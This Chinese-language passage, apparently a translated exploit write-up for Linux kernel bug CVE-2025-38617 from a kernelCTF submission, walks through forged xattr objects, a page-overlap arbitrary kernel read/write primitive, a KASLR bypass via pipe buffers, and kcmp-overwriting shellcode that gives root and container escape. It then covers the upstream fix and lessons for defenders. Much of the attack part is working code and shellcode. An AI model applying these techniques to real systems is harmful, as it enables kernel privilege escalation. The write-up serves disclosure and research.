首先,漏洞利用程序销毁阶段 1 中的 overflowed_simple_xattr(即那个 size 被篡改为 65,536 的 xattr)。它不再被需要了——它所提供的堆读取原语已被阶段 2 的直接内存访问所取代。移除之后,索引节点的 xattr 集合中只包含 leaked_content_simple_xattr,也就是漏洞利用程序通过已映射的环形缓冲区控制的对象(即“被操控的 simple_xattr”)。
漏洞利用程序保存了被操控的 xattr 的 rb_node 指针和 name 的原始值,以便稍后恢复——如果这些指针悬空,内核的 xattr 遍历代码将会崩溃。
5.3.2 第 2 部分:通过“分配-读取-释放”泄露页面地址
漏洞利用程序需要两个 order-2 页面的地址。它通过以下三步模式分别获取每一个:
步骤 1:分配一个临时 xattr。 在 tmpfs 文件上调用 setxattr(),创建一个新的 simple_xattr,其 value_size = 8192(占用 order-2 页面)。内核将其链接到 xattr 集合中,并更新被操控的 xattr 的节点指针。
步骤 2:读取地址。 由于漏洞利用程序已将 manipulated simple_xattr 通过 mmap 映射到用户空间,它可以立即读取更新后的 rb_node 指针,从而获得新 xattr 的内核地址。根据键值比较的结果,红黑树可能将新节点作为右子节点或左子节点插入,因此漏洞利用程序需要检查两种可能性:
setxattr(filepath, "security.leak_for_name", value, KMALLOC_8K_SIZE, XATTR_CREATE);
if (manipulated_simple_xattr->rb_node.rb_right)
fake_simple_xattr_name_addr = (u64)manipulated_simple_xattr->rb_node.rb_right;
else
fake_simple_xattr_name_addr = (u64)manipulated_simple_xattr->rb_node.rb_left;
步骤 3:释放它。 调用 removexattr() 来释放这个临时的 xattr。其页面将返回给 order-2 空闲链表。
漏洞利用程序重复此模式两次,获得两个地址:
- •
fake_simple_xattr_name_addr — 将存放伪造 xattr 的名称字符串 - •
fake_simple_xattr_addr — 将存放伪造 xattr 结构体本身
5.3.3 第 3 部分:用环形缓冲区块重新占用已释放的页面
在每个地址被泄露且临时 xattr 被释放后,漏洞利用程序立即用一个环形缓冲区块重新占用该已释放的页面:
// Reclaim the freed page with a 1-block, order-2 ring buffer
alloc_pages(fake_simple_xattr_name_packet_socket, 1, PAGES_ORDER2_SIZE);
现在,漏洞利用程序可以对这个环形缓冲区执行 mmap(),以读取或写入位于 fake_simple_xattr_name_addr 的页面。它将伪造的名称字符串写入其中:
void *mem = mmap(NULL, PAGES_ORDER2_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
fake_simple_xattr_name_packet_socket, 0);
strcpy(mem, "security.fake_simple_xattr_name");
munmap(mem, PAGES_ORDER2_SIZE);
但是,漏洞利用程序如何知道重新占用成功了?被释放的页面可能已被其他机制完全重新使用了。漏洞利用程序通过新分配的环形缓冲区(经由 mmap)写入到被重新占用的页面,但通过泄露的地址(经由 getxattr)读取。如果读取返回了写入的内容,那么环形缓冲区必定落在了泄露地址所指向的同一个页面上:
// 现在通过泄露的地址进行读取:将被操控的 xattr 的
// name 指针重定向到 fake_simple_xattr_name_addr(从第 2 部分获得)
manipulated_simple_xattr->name = (char *)fake_simple_xattr_name_addr;
// 请求内核按名称查找此 xattr —— 内核将沿着
// 被重定向的 name 指针,并与查找的关键字进行 strcmp() 比较
ssize_t ret = getxattr(filepath, "security.fake_simple_xattr_name",
value, manipulated_simple_xattr->size);
// 恢复原始的 name 指针
manipulated_simple_xattr->name = (char *)original_name_pointer;
if (ret == manipulated_simple_xattr->size) {
// 成功!内核从泄露的地址读取数据,并找到了
// 我们通过环形缓冲区写入的字符串。这表明两者指向同一个物理页面。
如果 getxattr() 成功,说明环形缓冲区块和泄露的地址映射到了同一个页面——漏洞利用程序现在控制该页面的内容。如果失败,漏洞利用程序会释放该环形缓冲区并重试。
对 fake_simple_xattr_addr 重复相同的过程,使用第二个数据包套接字(fake_simple_xattr_packet_socket)。
5.3.4 第 4 部分:构建并链接伪造的 xattr
在两个页面都被重新占用并验证成功后,漏洞利用程序将一个伪造的 simple_xattr 结构体写入到位于 fake_simple_xattr_addr 的页面中:
struct simple_xattr *fake_simple_xattr = mem;
fake_simple_xattr->rb_node.__rb_parent_color = leaked_content_simple_xattr_kernel_address;
fake_simple_xattr->name = (void *)fake_simple_xattr_name_addr;
fake_simple_xattr->size = KMALLOC_8K_SIZE;
伪造 xattr 的 __rb_parent_color 被设置为被操控的 xattr(即阶段 1 中的 leaked_content_simple_xattr)的内核地址。这是因为红黑树的移除算法需要找到父节点。rb_right 和 rb_left 字段保持为 NULL(由 memset 清零),表明这是一个叶节点——简化了树的移除路径。name 指针指向 fake_simple_xattr_name_addr(存放字符串 "security.fake_simple_xattr_name" 的地方),size 被设置为 8,192 字节。
现在,漏洞利用程序通过修改被操控的 xattr 将此伪造的 xattr 链接到索引节点的红黑树中:
if (is_right_node)
manipulated_simple_xattr->rb_node.rb_right = (void *)fake_simple_xattr_addr;
else
manipulated_simple_xattr->rb_node.rb_left = (void *)fake_simple_xattr_addr;
变量 is_right_node 跟踪了在第二部分第二次泄露时,临时 xattr 最初被插入时使用的是哪个子节点指针。漏洞利用程序重用同一个子节点槽位,确保树的结构保持一致。
内核现在认为这是一个存在于集合中的真实 xattr。
5.3.5 第 5 部分:创建 pgv 重叠
至此,漏洞利用程序达到了它的最终目标。它调用:
removexattr(filepath, “security.fake_simple_xattr_name”);
内核找到伪造的 xattr,将其从红黑树中解链,并分别释放两个分配:
// Kernel’s simple_xattr removal path:
kfree(xattr->name); // frees Page A (fake_simple_xattr_name_addr)
kvfree(xattr); // frees Page B (fake_simple_xattr_addr)
两个页面都返回给 order-2 空闲链表。但是,之前重新占用这两个页面的两个环形缓冲区,它们的 pgv[0].buffer 仍然指向它们——这些指针从未被更新过:
fake_simple_xattr_name_packet_socket → pgv[0].buffer = Page A (now freed)
fake_simple_xattr_packet_socket → pgv[0].buffer = Page B (now freed)
Order-2 freelist: [Page A, Page B]
这些是悬空指针——一个有意为之的释放后使用。释放操作之后,漏洞利用程序立即分配第三个环形缓冲区:
alloc_pages(overwritten_pg_vec_packet_socket,
MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2, // 1025 blocks
PAGE_SIZE);
这个环形缓冲区有 1,025 个块,因此它的 pgv 数组大小为 1025 × 8 = 8,200 字节——通过 alloc_pg_vec() 中的 kcalloc() 分配,向上取整到 kmalloc-8k,并由 order-2 页面提供服务(与刚刚释放的伪造 xattr 页面相同的页面阶数)。由于刚刚释放了两个 order-2 页面,页面分配器会选取其中一个来分配给这个 pgv 数组——假设是页面 A:
fake_simple_xattr_name_packet_socket → pgv[0].buffer = Page A ← STILL POINTS HERE
fake_simple_xattr_packet_socket → pgv[0].buffer = Page B (still freed)
overwritten_pg_vec_packet_socket → pgv array lives on Page A
现在,页面 A 同时是 fake_simple_xattr_name_packet_socket 的块 0(陈旧的悬空指针)和第三个环形缓冲区的 pgv 数组(新的分配)。当漏洞利用程序对 fake_simple_xattr_name_packet_socket 执行 mmap 时,内核查找 pgv[0].buffer,找到页面 A,并将其映射到用户空间——但此时页面 A 包含的是第三个环形缓冲区的 pgv 条目。这就是 pgv 重叠。
漏洞利用程序无法预先知道分配器会选择哪个页面,因此它同时对两个悬空的环形缓冲区执行 mmap,并检查哪个包含看起来像 pgv 数组的数据(连续的内核指针):
void *mem = mmap(NULL, PAGES_ORDER2_SIZE, ..., fake_simple_xattr_name_packet_socket, 0);
void *mem1 = mmap(NULL, PAGES_ORDER2_SIZE, ..., fake_simple_xattr_packet_socket, 0);
if (mem != MAP_FAILED && is_data_look_like_pgv(mem, 1025)) {
packet_socket_to_overwrite_pg_vec = fake_simple_xattr_name_packet_socket;
} else if (mem1 != MAP_FAILED && is_data_look_like_pgv(mem1, 1025)) {
packet_socket_to_overwrite_pg_vec = fake_simple_xattr_packet_socket;
}
packet_socket_with_overwritten_pg_vec = overwritten_pg_vec_packet_socket;
is_data_look_like_pgv() 函数检查每个条目是否包含有效的内核地址(高 16 位为 0xFFFF),这与填充了已分配块指针的 pgv 数组相匹配。哪个悬空环形缓冲区的 mmap 揭示了 pgv 条目,它的页面就被重新占用了——它成为了“主控”缓冲区。
5.3.6 由此产生的原语
漏洞利用程序现在拥有两个环形缓冲区,形成一种主-从关系:
- •
packet_socket_to_overwrite_pg_vec(“主控”):它的环形缓冲区块与从属的 pgv 数组重叠。对其执行 mmap 可以将原始的 pgv 条目作为可写内存暴露出来。 - •
packet_socket_with_overwritten_pg_vec(“从属”):它的 pgv 条目可以被主控任意修改。对其执行 mmap 将会映射这些(已被修改的)pgv 条目当前所指向的任何页面。

要读取或写入任意页面对齐的内核地址:
void *abr_page_read_write_primitive_mmap(
struct abr_page_read_write_primitive *primitive,
u64 page_aligned_addr)
{
// Step 1: mmap the master — its block IS the puppet's pgv array
void *mem = mmap(NULL, primitive->overwrite_pg_vec_mmap_size,
PROT_READ | PROT_WRITE, MAP_SHARED,
primitive->packet_socket_to_overwrite_pg_vec, 0);
struct pgv *pgv = mem;
pgv[0].buffer = (char *)page_aligned_addr; // redirect puppet's block 0
munmap(mem, primitive->overwrite_pg_vec_mmap_size);
// Step 2: mmap the puppet — block 0 now maps to target_addr
mem = mmap(NULL, primitive->overwritten_pg_vec_mmap_size,
PROT_READ | PROT_WRITE, MAP_SHARED,
primitive->packet_socket_with_overwritten_pg_vec, 0);
return mem; // userspace pointer to arbitrary kernel page
}
调用者获得一个用户空间指针,该指针直接映射目标内核页面。从中读取即读取内核内存;向其写入即写入内核内存。无需系统调用,无需过滤器,无大小限制——只是原始的 memcpy。唯一的限制是地址必须页面对齐。
这个原语被阶段 4(读取管道缓冲区以查找内核代码指针)和阶段 5(用 Shellcode 覆盖系统调用处理程序)使用。
5.4 阶段 4:通过管道缓冲区绕过 KASLR
拥有了任意页面读写能力,漏洞利用程序可以访问任何内核页面——但它还不知道任何东西在哪里。KASLR 会在每次启动时随机化内核的基址,因此像 init_cred、init_fs 和系统调用处理程序这类符号的地址是未知的。为了击败 KASLR,漏洞利用程序需要找到一个内核代码指针——一个指向内核 .text 或 .data 段的指针——然后减去已知的偏移量,从而恢复出内核基址。
5.4.1 背景:管道缓冲区与 anon_pipe_buf_ops
Linux 管道在内部由一个 struct pipe_buffer 条目的数组支持,每个条目描述管道中的一个数据段:
struct pipe_buffer {
struct page *page; // pointer to the data page
unsigned int offset, len; // offset and length within the page
conststruct pipe_buf_operations *ops; // → anon_pipe_buf_ops
unsigned int flags;
unsigned long private;
}; // 40 bytes
ops 字段是一个指向 anon_pipe_buf_ops 的指针,这是一个位于内核 .data 段中的静态常量 struct。它的地址相对于内核基址总是有一个固定的偏移量——在目标内核中,这个偏移是 0x1c4a600 字节。KASLR 会移动整个内核镜像,因此绝对地址每次启动都会变化,但低 24 位(0xc4a600)保持不变,因为 KASLR 只随机化高位地址。漏洞利用程序使用这些低位作为签名来识别一个有效的 pipe_buffer。
当管道被创建或调整大小时,管道缓冲区数组通过 kcalloc(nr_slots, sizeof(struct pipe_buffer)) 分配。槽位的数量由 fcntl(F_SETPIPE_SZ) 控制,该调用设置管道的字节容量——内核会将其向上取整到最接近的页数的 2 的幂,然后分配相应数量的 pipe_buffer 条目。关键在于,ops 字段仅在数据实际写入管道时才会被填充——空管道的 pipe_buffer 条目是被清零的。
5.4.2 技术实现
漏洞利用程序运行一个重试循环:
步骤 1:泄露一个页面地址。 使用与阶段 3 相同的“分配-读取-释放”模式——通过 setxattr() 创建一个临时 xattr,读取被操控的 xattr 的 rb_node.rb_right 或 rb_node.rb_left 以获得新 xattr 的内核地址(pipe_buffer_addr),然后调用 removexattr() 释放它。被释放的页面将返回给 order-2 空闲链表。
步骤 2:用管道缓冲区数组重新占用。 使用 pipe2(pipe_fd, O_DIRECT) 创建一个管道并调整其大小:
fcntl(pipe_fd[0], F_SETPIPE_SZ, 256 * PAGE_SIZE);
这指示内核分配 256 个 pipe_buffer 条目:256 × 40 = 10,240 字节,这个大小超过了 kmalloc-8k,因此会回退到页面分配器,由 order-2 页面(16 KB)提供服务——这与刚刚释放的 xattr 页面阶数相同。如果管道缓冲区数组恰好落在刚刚释放的页面上,那么漏洞利用程序现在就在一个已知的内核地址上拥有了一个 pipe_buffer 数组。
步骤 3:填充 ops 指针。 向管道写入数据以填充第一个 pipe_buffer 条目:
write(pipe_fd[1], “fillin_pipe_buffer”, 18);
在此写入之前,pipe_buffer 条目(由 kcalloc 分配)都是清零的。写入之后,第一个条目的 page 指向一个数据页面,ops 指向 anon_pipe_buf_ops,并且 len 反映了数据长度。
步骤 4:读取并识别。 使用阶段 3 的任意页面读取原语来映射泄露的页面地址:
void *mem = abr_page_read_write_primitive_mmap(primitive, pipe_buffer_addr);
然后检查数据是否看起来像一个 pipe_buffer。识别逻辑检查两点:page 必须是有效内核指针(高 16 位为 0xFFFF),并且 ops 的低 24 位必须与 anon_pipe_buf_ops 的签名匹配。如果两者都匹配,那么这几乎可以肯定是真实的 pipe_buffer。
步骤 5:计算内核基址。
kernel_base = (u64)pipe_buffer->ops - anon_pipe_buf_ops_offset_from_kernel_base;
// kernel_base = ops - 0x1c4a600
如果重新占用失败(管道缓冲区数组没有落在泄露的页面上,或者数据不匹配),漏洞利用程序会关闭管道并从步骤 1 开始重试。一旦内核基址已知,漏洞利用程序就可以计算出 init_cred、init_fs、__do_sys_kcmp 和 __x86_return_thunk 的绝对地址——这些都是阶段 5 所需的一切。
5.5 阶段 5:通过系统调用修补实现权限提升
在已知内核基址并拥有任意页面写入能力后,漏洞利用程序用自定义的 Shellcode 覆盖了 __do_sys_kcmp 系统调用处理程序:
mov rax, QWORD PTR gs:0x20c80 ; current task_struct
shl rdi, 32 ; reconstruct init_cred from
shl rsi, 32 ; arg1 (high 32 bits) and
shr rsi, 32 ; arg2 (low 32 bits)
or rdi, rsi
mov QWORD PTR [rax + 0x7d0], rdi ; task->real_cred = init_cred
mov QWORD PTR [rax + 0x7d8], rdi ; task->cred = init_cred
mov QWORD PTR [rax + 0x828], rcx ; task->fs = init_fs
jmp r8 ; return via __x86_return_thunk
Shellcode 通过系统调用参数(编码在 rdi/rsi/rcx/r8 中)传递 init_cred 和 init_fs 的地址,将调用进程的凭据替换为 init_cred(即 root),并将其文件系统命名空间替换为 init_fs(从而实现容器逃逸)。只需调用一次 syscall(SYS_kcmp, ...),进程就变成了 root 并拥有访问主机文件系统的权限:
syscall(SYS_kcmp,
(u32)(init_cred >> 32), (u32)(init_cred),
-1, init_fs, __x86_return_thunk);
execve(”/bin/sh”, sh_args, NULL); // root shell
六、修复方案
修复方案非常简洁——仅在 packet_set_ring() 中改动了两行逻辑,与之前的某个修复(commit 15fe076edea7)相呼应:
修复前(存在漏洞):
spin_lock(&po->bind_lock);
was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
num = po->num;
if (was_running) {
WRITE_ONCE(po->num, 0); // conditional!
__unregister_prot_hook(sk, false);
}
spin_unlock(&po->bind_lock);
// ... critical section ...
spin_lock(&po->bind_lock);
if (was_running) {
WRITE_ONCE(po->num, num); // conditional!
register_prot_hook(sk);
}
spin_unlock(&po->bind_lock);
修复后(已修复):
spin_lock(&po->bind_lock);
was_running = packet_sock_flag(po, PACKET_SOCK_RUNNING);
num = po->num;
WRITE_ONCE(po->num, 0); // unconditional!
if (was_running)
__unregister_prot_hook(sk, false);
spin_unlock(&po->bind_lock);
// ... critical section ...
spin_lock(&po->bind_lock);
WRITE_ONCE(po->num, num); // unconditional!
if (was_running)
register_prot_hook(sk);
spin_unlock(&po->bind_lock);
通过在释放 bind_lock之前无条件地将 po->num 清零,该修复确保了 packet_notifier() 的 NETDEV_UP 处理程序会看到 po->num == 0,从而跳过 register_prot_hook() 的调用。这样一来,无论在关键窗口期间套接字是否正在运行,它都无法被重新钩挂。之后,po->num 的值会被无条件恢复。
七、要点总结
7.1 对内核开发者
- 1. 对锁之间的间隙保持防御性思维。 当代码释放一个锁并获取另一个锁时,应考虑在这个间隙中哪些不变量可能被违反。此处的修复具有启发性:即使在套接字未运行时将
po->num 清零看似没有必要,但这是唯一安全的选择,因为外部事件(网络设备通知)可能会观察到中间状态。 - 2. 条件性的状态更新是微妙的。 原始代码中
if (was_running) 对 WRITE_ONCE(po->num, 0) 的保护从逻辑上看似合理(“如果它没运行,为什么要清零?”),但却造成了安全漏洞。当状态用于跨并发代码路径的同步时,总是将其设置为安全值,而不仅仅是在你认为必要的时候。 - 3. TPACKET_V3 元数据在环形缓冲区释放后仍然存活。 在
packet_set_ring() 释放环形缓冲区后,prb_bdqc 结构体仍然保留着陈旧的指针。虽然修复竞争条件可以阻止 UAF,但这些陈旧的元数据本身是一个纵深防御方面的问题。
7.2 对安全研究人员
- 1. 寻找休眠的互斥锁持有者。 此漏洞利用的核心洞察是一个漏洞发现模式:寻找存在锁间隙(释放锁 A,获取锁 B)的代码序列,然后查找任何持有锁 B 且可能休眠的代码路径。与自旋锁不同,互斥锁允许其持有者休眠,而内核代码中充满了在互斥锁保护区域内的
wait_for_completion()、schedule()、copy_from_user() 以及类似的调用。如果你能触发这样的路径,你就将一个纳秒级的竞争窗口变成了一个可控的竞争窗口。 - 2. 锁附近的条件逻辑是一个危险信号。 每当你看到用于决定是否更新同步状态的条件语句时,都要问:“如果条件为假,但其他代码路径正在观察这个状态,会发生什么?” 导致此漏洞的
if (was_running) 模式是内核竞争条件中反复出现的典型模式。 - 3. 页面分配器的伙伴拆分机制可实现跨阶堆内存布局。 该漏洞利用利用了伙伴分配器的拆分行为:当 order-2 页面耗尽时,分配器会拆分 order-3 页面。这被用来将
simple_xattr 对象(order-2)放置在环形缓冲区块(受害者使用 order-3,重新占用使用 order-2)的旁边。理解伙伴分配器的行为对于现代内核漏洞利用至关重要。 - 4. 多个竞争条件可以串联利用。 此漏洞利用程序赢得了两个独立的竞争,每个都使用了不同的技术(第一个使用确定性的互斥锁持有,第二个使用 BPF 过滤器 + 定时器中断)。正是这种串联多个概率性步骤、并在失败时重试的策略,使得整个漏洞利用链成为可能。
- 5. 现代缓解措施增加了复杂性,但并未阻止漏洞利用。 正如背景部分所述,
CONFIG_RANDOM_KMALLOC_CACHES 和 CONFIG_SLAB_VIRTUAL 迫使漏洞利用程序使用相同调用点的分配(用环形缓冲区来抢占环形缓冲区),而不是任意的跨缓存攻击。整个漏洞利用架构——从使用 TX 环形缓冲区来抢占已释放的 RX 环形缓冲区,到喷射 pgv 数组来破坏其他 pgv 数组——都是由这个限制塑造的。这显著提高了利用门槛,但正如本文所示,它并不能阻止一个有决心的攻击者利用一个足够强大的漏洞。
引用链接
[1] Calif: https://blog.calif.io
[2] 《A Race Within A Race: Exploiting CVE-2025-38617 in Linux Packet Sockets》: https://blog.calif.io/p/a-race-within-a-race-exploiting-cve
[3] Calif: https://calif.io/
[4] kernelCTF: https://google.github.io/security-research/kernelctf/rules.html
[5] 漏洞利用程序提交: https://github.com/google/security-research/pull/339
[6] 01d3c8417b9c: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=01d3c8417b9c1b884a8a981a3b886da556512f36